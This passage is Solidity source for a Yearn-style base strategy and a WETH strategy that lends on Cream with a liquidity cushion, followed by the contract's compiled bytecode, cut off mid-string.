consideration into issuing this trigger, for example if the position * would be negatively affected if `harvest()` is not called shortly, then this can return `true` * even if the keeper might be "at a loss" (keepers are always reimbursed by yEarn) * * NOTE: this call and `tendTrigger` should never return `true` at the same time. */ function harvestTrigger(uint256 gasCost) public virtual view returns (bool); function harvest() external { if (keeper != address(0)) require(msg.sender == keeper || msg.sender == strategist || msg.sender == governance()); if (emergencyExit) { exitPosition(); // Free up as much capital as possible // NOTE: Don't take performance fee in this scenario } else { prepareReturn(); // Free up returns for Vault to pull } if (reserve > want.balanceOf(address(this))) reserve = want.balanceOf(address(this)); // Allow Vault to take up to the "harvested" balance of this contract, which is // the amount it has earned since the last time it reported to the Vault uint256 wantEarned = want.balanceOf(address(this)).sub(reserve); outstanding = vault.report(wantEarned); adjustPosition(); // Check if free returns are left, and re-invest them emit Harvested(wantEarned, vault.strategies(address(this)).totalReturns); } /* * Liquidate as many assets as possible to `want`, irregardless of slippage, * up to `_amount`. Any excess should be re-invested here as well. */ function liquidatePosition(uint256 _amount) internal virtual; function withdraw(uint256 _amount) external { require(msg.sender == address(vault), "!vault"); liquidatePosition(_amount); // Liquidates as much as possible to `want`, up to `_amount` want.transfer(msg.sender, want.balanceOf(address(this)).sub(reserve)); } /* * Do anything necesseary to prepare this strategy for migration, such * as transfering any reserve or LP tokens, CDPs, or other tokens or stores of value. */ function prepareMigration(address _newStrategy) internal virtual; function migrate(address _newStrategy) external { require(msg.sender == address(vault) || msg.sender == governance()); require(BaseStrategy(_newStrategy).vault() == vault); prepareMigration(_newStrategy); } function setEmergencyExit() external { require(msg.sender == strategist || msg.sender == governance()); emergencyExit = true; exitPosition(); vault.revokeStrategy(); if (reserve > want.balanceOf(address(this))) reserve = want.balanceOf(address(this)); outstanding = vault.report(want.balanceOf(address(this)).sub(reserve)); } // Override this to add all tokens this contract manages on a *persistant* basis // (e.g. not just for swapping back to want ephemerally) // NOTE: Must inclide `want` token function protectedTokens() internal virtual view returns (address[] memory) { address[] memory protected = new address[](1); protected[0] = address(want); return protected; } function sweep(address _token) external { address[] memory _protectedTokens = protectedTokens(); for (uint256 i; i < _protectedTokens.length; i++) require(_token != _protectedTokens[i], "!protected"); IERC20(_token).transfer(governance(), IERC20(_token).balanceOf(address(this))); } } // File: contracts\strategies\YearnWethCreamStratV2.sol pragma solidity ^0.6.12; pragma experimental ABIEncoderV2; // SPDX-License-Identifier: MIT //cream is fork of compound and has same interface /******************** * An ETH Cream strategy with a liquidity buffer to ensure we don't end up in crisis. * Made by SamPriestley.com * https://github.com/Grandthrax/yearnv2/blob/master/contracts/YearnWethCreamStratV2.sol * ********************* */ contract YearnWethCreamStratV2 is BaseStrategy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; string public constant name = "YearnWethCreamStratV2"; //Only three tokens we use CEtherI public constant crETH = CEtherI(address(0xD06527D5e56A3495252A528C4987003b712860eE)); IWETH public constant weth = IWETH(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2)); uint256 public maxReportDelay = 50; //6300 is once a day. lower vaule used for testing //Operating variables uint256 public liquidityCushion = 3000 ether; // 3000 ether ~ 1m usd uint256 public profitFactor = 50; // multiple before triggering harvest uint256 public dustThreshold = 0.01 ether; // multiple before triggering harvest constructor(address _vault) public BaseStrategy(_vault) { //only accept ETH vault require(vault.token() == address(weth), "!WETH"); } //to receive eth from weth receive() external payable {} /* * Control Functions */ function setProfitFactor(uint256 _profitFactor) external { require(msg.sender == governance() || msg.sender == strategist, "!management"); // dev: not governance or strategist profitFactor = _profitFactor; } function setLiquidityCushion(uint256 _liquidityCushion) external { require(msg.sender == governance() || msg.sender == strategist, "!management"); // dev: not governance or strategist liquidityCushion = _liquidityCushion; } /* * Base External Facing Functions */ /* * Expected return this strategy would provide to the Vault the next time `report()` is called * * The total assets currently in strategy minus what vault believes we have */ function expectedReturn() public override view returns (uint256) { uint256 estimateAssets = estimatedTotalAssets(); uint256 debt = vault.strategies(address(this)).totalDebt; if (debt > estimateAssets) { return 0; } else { return estimateAssets - debt; } } /* * Our balance in CrETH plus balance of want */ function estimatedTotalAssets() public override view returns (uint256) { uint256 underlying = underlyingBalanceStored(); return want.balanceOf(address(this)).add(underlying); } /* * Provide a signal to the keeper that `tend()` should be called. * (keepers are always reimbursed by yEarn) * * NOTE: this call and `harvestTrigger` should never return `true` at the same time. * If we are in liquidation cushion we move */ function tendTrigger(uint256 gasCost) public override view returns (bool) { gasCost; // silence UI warning if (harvestTrigger(gasCost)) { //harvest takes priority return false; } //we want to tend if there is a liquidity crisis uint256 cashAvailable = crETH.getCash(); if(cashAvailable == 0){ return false; } uint wethBalance = weth.balanceOf(address(this)); uint256 toKeep = 0; //to keep is the amount we need to hold to make the liqudity cushion full if(cashAvailable.add(wethBalance.mul(2)) < liquidityCushion){ toKeep = liquidityCushion.sub(cashAvailable.add(wethBalance)); } if (toKeep > wethBalance.add(dustThreshold) && cashAvailable <= liquidityCushion && cashAvailable > dustThreshold && underlyingBalanceStored() > dustThreshold) { return true; } // if liquidity crisis is over if(wethBalance > 0 && liquidityCushion < cashAvailable){ if(cashAvailable - liquidityCushion > gasCost.mul(profitFactor) && wethBalance > gasCost.mul(profitFactor)){ return true; } } return false; } function underlyingBalanceStored() public view returns (uint256 balance){ uint256 currentCrETH = crETH.balanceOf(address(this)); if(currentCrETH == 0){ balance = 0; }else{ balance = currentCrETH.mul(crETH.exchangeRateStored()).div(1e18); } } /* * Provide a signal to the keeper that `harvest()` should be called. * gasCost is expected_gas_use * gas_price * (keepers are always reimbursed by yEarn) * * NOTE: this call and `tendTrigger` should never return `true` at the same time. */ function harvestTrigger(uint256 gasCost) public override view returns (bool) { StrategyParams memory params = vault.strategies(address(this)); // Should not trigger if strategy is not activated if (params.activation == 0) return false; // Should trigger if hadn't been called in a while if (block.number.sub(params.lastSync) >= maxReportDelay) return true; // If some amount is owed, pay it back // NOTE: Since debt is adjusted in step-wise fashion, it is appropiate to always trigger here, // because the resulting change should be large (might not always be the case) uint256 outstanding = vault.debtOutstanding(); if (outstanding > dustThreshold && crETH.getCash().add(want.balanceOf(address(this))) > 0) return true; // Check for profits and losses uint256 total = estimatedTotalAssets(); if (total.add(dustThreshold) < params.totalDebt) return true; // We have a loss to report! uint256 profit = 0; if (total > params.totalDebt) profit = total.sub(params.totalDebt); // We've earned a profit! // Otherwise, only trigger if it "makes sense" economically (gas cost is <N% of value moved) uint256 credit = vault.creditAvailable(); return (profitFactor * gasCost < credit.add(profit)); } /*********** * internal core logic *********** */ /* * A core method. */ function prepareReturn() internal override { if (crETH.balanceOf(address(this)) == 0) { //no position to harvest reserve = weth.balanceOf(address(this)); return; } if (reserve != 0) { //reset reserve so it doesnt interfere anywhere else reserve = 0; } uint256 balanceInCr = crETH.balanceOfUnderlying(address(this)); uint256 balanceInWeth = weth.balanceOf(address(this)); uint256 total = balanceInCr.add(balanceInWeth); uint256 debt = vault.strategies(address(this)).totalDebt; if(total > debt){ uint profit = total-debt; uint amountToFree = profit.add(outstanding); //we need to add outstanding to our profit if(balanceInWeth >= amountToFree){ reserve = weth.balanceOf(address(this)) - amountToFree; }else{ //change profit to what we can withdraw _withdrawSome(amountToFree.sub(balanceInWeth)); balanceInWeth = weth.balanceOf(address(this)); if(balanceInWeth > amountToFree){ reserve = balanceInWeth - amountToFree; }else{ reserve = 0; } } }else{ uint256 bal = weth.balanceOf(address(this)); if(bal <= outstanding){ reserve = 0; }else{ reserve = bal - outstanding; } } } /* * Second core function. Happens after report call. * */ function adjustPosition() internal override { //emergency exit is dealt with in prepareReturn if (emergencyExit) { return; } //we did state changing call in prepare return so this will be accurate uint liquidity = crETH.getCash(); if(liquidity == 0){ return; } uint wethBalance = weth.balanceOf(address(this)); uint256 toKeep = 0; //to keep is the amount we need to hold to make the liqudity cushion full if(liquidity < liquidityCushion){ toKeep = liquidityCushion.sub(liquidity); } toKeep = toKeep.add(outstanding); //if we have more than enough weth then invest the extra if(wethBalance > toKeep){ uint toInvest = wethBalance.sub(toKeep); //turn weth into eth first weth.withdraw(toInvest); //mint crETH.mint{value: toInvest}(); }else if(wethBalance < toKeep){ //free up the difference if we can uint toWithdraw = toKeep.sub(wethBalance); _withdrawSome(toWithdraw); } } /************* * Withdraw Up to the amount asked for * returns amount we really withdrew ******************** */ function _withdrawSome(uint256 _amount) internal returns(uint256 amountWithdrawn) { //state changing uint balance = crETH.balanceOfUnderlying(address(this)); if(_amount > balance){ //cant withdraw more than we own _amount = balance; } //not state changing but OK because of previous call uint liquidity = crETH.getCash(); amountWithdrawn = 0; if(liquidity == 0){ return amountWithdrawn; } if(_amount <= liquidity){ amountWithdrawn = _amount; //we can take all crETH.redeemUnderlying(amountWithdrawn); }else{ //take all we can amountWithdrawn = liquidity-1; crETH.redeemUnderlying(amountWithdrawn); //safe as we return if liquidity == 0 } //remember to turn eth to weth weth.deposit{value: address(this).balance}(); } /* * Liquidate as many assets as possible to `want`, irregardless of slippage, * up to `_amount`. Any excess should be re-invested here as well. */ function liquidatePosition(uint256 _amount) internal override { uint256 _balance = want.balanceOf(address(this)); if(_balance >= _amount){ //if we don't set reserve here withdrawer will be sent our full balance reserve = _balance.sub(_amount); return; }else{ _withdrawSome(_amount - _balance); } } /* * Make as much capital as possible "free" for the Vault to take. Some slippage * is allowed. */ function exitPosition() internal override { uint balance = crETH.balanceOfUnderlying(address(this)); if(balance > 0){ _withdrawSome(balance); } reserve = 0; } //lets leave function prepareMigration(address _newStrategy) internal override { crETH.transfer(_newStrategy, crETH.balanceOf(address(this))); want.safeTransfer(_newStrategy, want.balanceOf(address(this))); } function protectedTokens() internal override view returns (address[] memory) { address[] memory protected = new address[](2); protected[0] = address(want); protected[1] = address(crETH); return protected; } }
0x6080604052600436106101d15760003560e01c806391397ab4116100f7578063d3406abd11610095578063ed882c2b11610064578063ed882c2b14610617578063efbb5cb014610654578063fbfa77cf1461067f578063fcf2d0ad146106aa576101d8565b8063d3406abd1461056b578063e398fa1a14610596578063e50d33e3146105c1578063e8462e8f146105ec576101d8565b8063c6afba3c116100d1578063c6afba3c146104c3578063c7b9d530146104ee578063cd3293de14610517578063ce5494bb14610542576101d8565b806391397ab414610446578063aced16611461046f578063b7817f041461049a576101d8565b8063440368a31161016f578063650d18801161013e578063650d18801461038a578063748747e6146103c757806375d1458c146103f05780638cdfe1661461041b576101d8565b8063440368a3146103065780634641257d1461031d57806354fd4d50146103345780635641ec031461035f576101d8565b80631fe4a686116101ab5780631fe4a6861461025c57806328b7ccf7146102875780632e1a7d4d146102b25780633fc8cef3146102db576101d8565b806301681a62146101dd57806306fdde03146102065780631f1fcd5114610231576101d8565b366101d857005b600080fd5b3480156101e957600080fd5b5061020460048036038101906101ff9190613dba565b6106c1565b005b34801561021257600080fd5b5061021b61088a565b604051610228919061432d565b60405180910390f35b34801561023d57600080fd5b506102466108c3565b60405161025391906142dc565b60405180910390f35b34801561026857600080fd5b506102716108e9565b60405161027e919061421e565b60405180910390f35b34801561029357600080fd5b5061029c61090f565b6040516102a9919061444f565b60405180910390f35b3480156102be57600080fd5b506102d960048036038101906102d49190613e87565b610915565b005b3480156102e757600080fd5b506102f0610b1d565b6040516102fd91906142f7565b60405180910390f35b34801561031257600080fd5b5061031b610b35565b005b34801561032957600080fd5b50610332610c85565b005b34801561034057600080fd5b506103496111c0565b604051610356919061432d565b60405180910390f35b34801561036b57600080fd5b506103746111fd565b60405161038191906142a6565b60405180910390f35b34801561039657600080fd5b506103b160048036038101906103ac9190613e87565b611210565b6040516103be91906142a6565b60405180910390f35b3480156103d357600080fd5b506103ee60048036038101906103e99190613dba565b611494565b005b3480156103fc57600080fd5b506104056115a5565b604051610412919061444f565b60405180910390f35b34801561042757600080fd5b506104306115ab565b60405161043d919061444f565b60405180910390f35b34801561045257600080fd5b5061046d60048036038101906104689190613e87565b6115b1565b005b34801561047b57600080fd5b50610484611688565b604051610491919061421e565b60405180910390f35b3480156104a657600080fd5b506104c160048036038101906104bc9190613e87565b6116ae565b005b3480156104cf57600080fd5b506104d8611785565b6040516104e5919061444f565b60405180910390f35b3480156104fa57600080fd5b5061051560048036038101906105109190613dba565b6118fe565b005b34801561052357600080fd5b5061052c611a0f565b604051610539919061444f565b60405180910390f35b34801561054e57600080fd5b5061056960048036038101906105649190613dba565b611a15565b005b34801561057757600080fd5b50610580611b8b565b60405161058d919061444f565b60405180910390f35b3480156105a257600080fd5b506105ab611c68565b6040516105b891906142c1565b60405180910390f35b3480156105cd57600080fd5b506105d6611c80565b6040516105e3919061444f565b60405180910390f35b3480156105f857600080fd5b50610601611c86565b60405161060e919061444f565b60405180910390f35b34801561062357600080fd5b5061063e60048036038101906106399190613e87565b611c8c565b60405161064b91906142a6565b60405180910390f35b34801561066057600080fd5b506106696120bb565b604051610676919061444f565b60405180910390f35b34801561068b57600080fd5b5061069461218b565b6040516106a19190614312565b60405180910390f35b3480156106b657600080fd5b506106bf6121af565b005b60606106cb6125c0565b905060005b8151811015610768578181815181106106e557fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107529061442f565b60405180910390fd5b80806001019150506106d0565b508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb61078d6126da565b8473ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016107c6919061421e565b60206040518083038186803b1580156107de57600080fd5b505afa1580156107f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108169190613eb0565b6040518363ffffffff1660e01b815260040161083392919061427d565b602060405180830381600087803b15801561084d57600080fd5b505af1158015610861573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108859190613e0c565b505050565b6040518060400160405280601581526020017f596561726e57657468437265616d53747261745632000000000000000000000081525081565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099a906143af565b60405180910390fd5b6109ac81612780565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33610aaa600454600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610a4c919061421e565b60206040518083038186803b158015610a6457600080fd5b505afa158015610a78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9c9190613eb0565b61286690919063ffffffff16565b6040518363ffffffff1660e01b8152600401610ac7929190614254565b602060405180830381600087803b158015610ae157600080fd5b505af1158015610af5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b199190613e0c565b5050565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c7b57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c345750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80610c715750610c426126da565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c7a57600080fd5b5b610c836128b0565b565b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcb57600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610d845750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80610dc15750610d926126da565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610dca57600080fd5b5b600660009054906101000a900460ff1615610ded57610de8612b96565b610df6565b610df5612c58565b5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610e51919061421e565b60206040518083038186803b158015610e6957600080fd5b505afa158015610e7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ea19190613eb0565b6004541115610f5c57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610f05919061421e565b60206040518083038186803b158015610f1d57600080fd5b505afa158015610f31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f559190613eb0565b6004819055505b600061101d600454600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610fbf919061421e565b60206040518083038186803b158015610fd757600080fd5b505afa158015610feb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061100f9190613eb0565b61286690919063ffffffff16565b905060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663969b1cdb826040518263ffffffff1660e01b8152600401611078919061444f565b602060405180830381600087803b15801561109257600080fd5b505af11580156110a6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ca9190613eb0565b6005819055506110d86128b0565b7ffa07446fad45314351eb89109a154880278451332bb87f1824d435fe58da59398160008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166339ebf823306040518263ffffffff1660e01b8152600401611153919061421e565b60e06040518083038186803b15801561116b57600080fd5b505afa15801561117f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a39190613e5e565b60c001516040516111b592919061446a565b60405180910390a150565b60606040518060400160405280600581526020017f302e312e31000000000000000000000000000000000000000000000000000000815250905090565b600660009054906101000a900460ff1681565b600061121b82611c8c565b15611229576000905061148f565b600073d06527d5e56a3495252a528c4987003b712860ee73ffffffffffffffffffffffffffffffffffffffff16633b1d21a26040518163ffffffff1660e01b815260040160206040518083038186803b15801561128557600080fd5b505afa158015611299573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112bd9190613eb0565b905060008114156112d257600091505061148f565b600073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016113219190614239565b60206040518083038186803b15801561133957600080fd5b505afa15801561134d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113719190613eb0565b9050600060085461139e61138f60028561324c90919063ffffffff16565b856132bc90919063ffffffff16565b10156113ce576113cb6113ba83856132bc90919063ffffffff16565b60085461286690919063ffffffff16565b90505b6113e3600a54836132bc90919063ffffffff16565b811180156113f357506008548311155b80156114005750600a5483115b80156114145750600a54611412611785565b115b15611425576001935050505061148f565b600082118015611436575082600854105b15611487576114506009548661324c90919063ffffffff16565b600854840311801561147557506114726009548661324c90919063ffffffff16565b82115b15611486576001935050505061148f565b5b600093505050505b919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061152257506114f36126da565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611561576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115589061434f565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60085481565b60095481565b6115b96126da565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061163f5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61167e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611675906143ef565b60405180910390fd5b8060098190555050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6116b66126da565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061173c5750600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61177b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611772906143ef565b60405180910390fd5b8060088190555050565b60008073d06527d5e56a3495252a528c4987003b712860ee73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016117d59190614239565b60206040518083038186803b1580156117ed57600080fd5b505afa158015611801573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118259190613eb0565b9050600081141561183957600091506118fa565b6118f7670de0b6b3a76400006118e973d06527d5e56a3495252a528c4987003b712860ee73ffffffffffffffffffffffffffffffffffffffff1663182df0f56040518163ffffffff1660e01b815260040160206040518083038186803b1580156118a257600080fd5b505afa1580156118b6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118da9190613eb0565b8461324c90919063ffffffff16565b61331190919063ffffffff16565b91505b5090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061198c575061195d6126da565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6119cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c29061434f565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60045481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611aa15750611a726126da565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b611aaa57600080fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1663fbfa77cf6040518163ffffffff1660e01b815260040160206040518083038186803b158015611b2757600080fd5b505afa158015611b3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b5f9190613e35565b73ffffffffffffffffffffffffffffffffffffffff1614611b7f57600080fd5b611b888161335b565b50565b600080611b966120bb565b905060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166339ebf823306040518263ffffffff1660e01b8152600401611bf49190614239565b60e06040518083038186803b158015611c0c57600080fd5b505afa158015611c20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c449190613e5e565b60a00151905081811115611c5d57600092505050611c65565b808203925050505b90565b73d06527d5e56a3495252a528c4987003b712860ee81565b60055481565b600a5481565b6000611c96613c4f565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166339ebf823306040518263ffffffff1660e01b8152600401611cef9190614239565b60e06040518083038186803b158015611d0757600080fd5b505afa158015611d1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d3f9190613e5e565b9050600081602001511415611d585760009150506120b6565b600754611d7282608001514361286690919063ffffffff16565b10611d815760019150506120b6565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bf3759b56040518163ffffffff1660e01b815260040160206040518083038186803b158015611dea57600080fd5b505afa158015611dfe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e229190613eb0565b9050600a5481118015611f8257506000611f80600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611e909190614239565b60206040518083038186803b158015611ea857600080fd5b505afa158015611ebc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ee09190613eb0565b73d06527d5e56a3495252a528c4987003b712860ee73ffffffffffffffffffffffffffffffffffffffff16633b1d21a26040518163ffffffff1660e01b815260040160206040518083038186803b158015611f3a57600080fd5b505afa158015611f4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f729190613eb0565b6132bc90919063ffffffff16565b115b15611f92576001925050506120b6565b6000611f9c6120bb565b90508260a00151611fb8600a54836132bc90919063ffffffff16565b1015611fca57600193505050506120b6565b60008360a00151821115611ff257611fef8460a001518361286690919063ffffffff16565b90505b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663112c1f9b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561205b57600080fd5b505afa15801561206f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120939190613eb0565b90506120a882826132bc90919063ffffffff16565b876009540210955050505050505b919050565b6000806120c6611785565b905061218581600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016121279190614239565b60206040518083038186803b15801561213f57600080fd5b505afa158015612153573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121779190613eb0565b6132bc90919063ffffffff16565b91505090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061223d575061220e6126da565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61224657600080fd5b6001600660006101000a81548160ff021916908315150217905550612269612b96565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a0e4af9a6040518163ffffffff1660e01b8152600401600060405180830381600087803b1580156122d157600080fd5b505af11580156122e5573d6000803e3d6000fd5b50505050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401612344919061421e565b60206040518083038186803b15801561235c57600080fd5b505afa158015612370573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123949190613eb0565b600454111561244f57600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016123f8919061421e565b60206040518083038186803b15801561241057600080fd5b505afa158015612424573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124489190613eb0565b6004819055505b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663969b1cdb61254a600454600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016124ec919061421e565b60206040518083038186803b15801561250457600080fd5b505afa158015612518573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061253c9190613eb0565b61286690919063ffffffff16565b6040518263ffffffff1660e01b8152600401612566919061444f565b602060405180830381600087803b15801561258057600080fd5b505af1158015612594573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125b89190613eb0565b600581905550565b606080600267ffffffffffffffff811180156125db57600080fd5b5060405190808252806020026020018201604052801561260a5781602001602082028036833780820191505090505b509050600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168160008151811061263d57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073d06527d5e56a3495252a528c4987003b712860ee8160018151811061269957fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508091505090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635aa6e6756040518163ffffffff1660e01b815260040160206040518083038186803b15801561274357600080fd5b505afa158015612757573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061277b9190613de3565b905090565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016127dd9190614239565b60206040518083038186803b1580156127f557600080fd5b505afa158015612809573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061282d9190613eb0565b905081811061285557612849828261286690919063ffffffff16565b60048190555050612863565b612860818303613593565b50505b50565b60006128a883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506138c0565b905092915050565b600660009054906101000a900460ff16156128ca57612b94565b600073d06527d5e56a3495252a528c4987003b712860ee73ffffffffffffffffffffffffffffffffffffffff16633b1d21a26040518163ffffffff1660e01b815260040160206040518083038186803b15801561292657600080fd5b505afa15801561293a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061295e9190613eb0565b9050600081141561296f5750612b94565b600073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016129be9190614239565b60206040518083038186803b1580156129d657600080fd5b505afa1580156129ea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612a0e9190613eb0565b90506000600854831015612a3457612a318360085461286690919063ff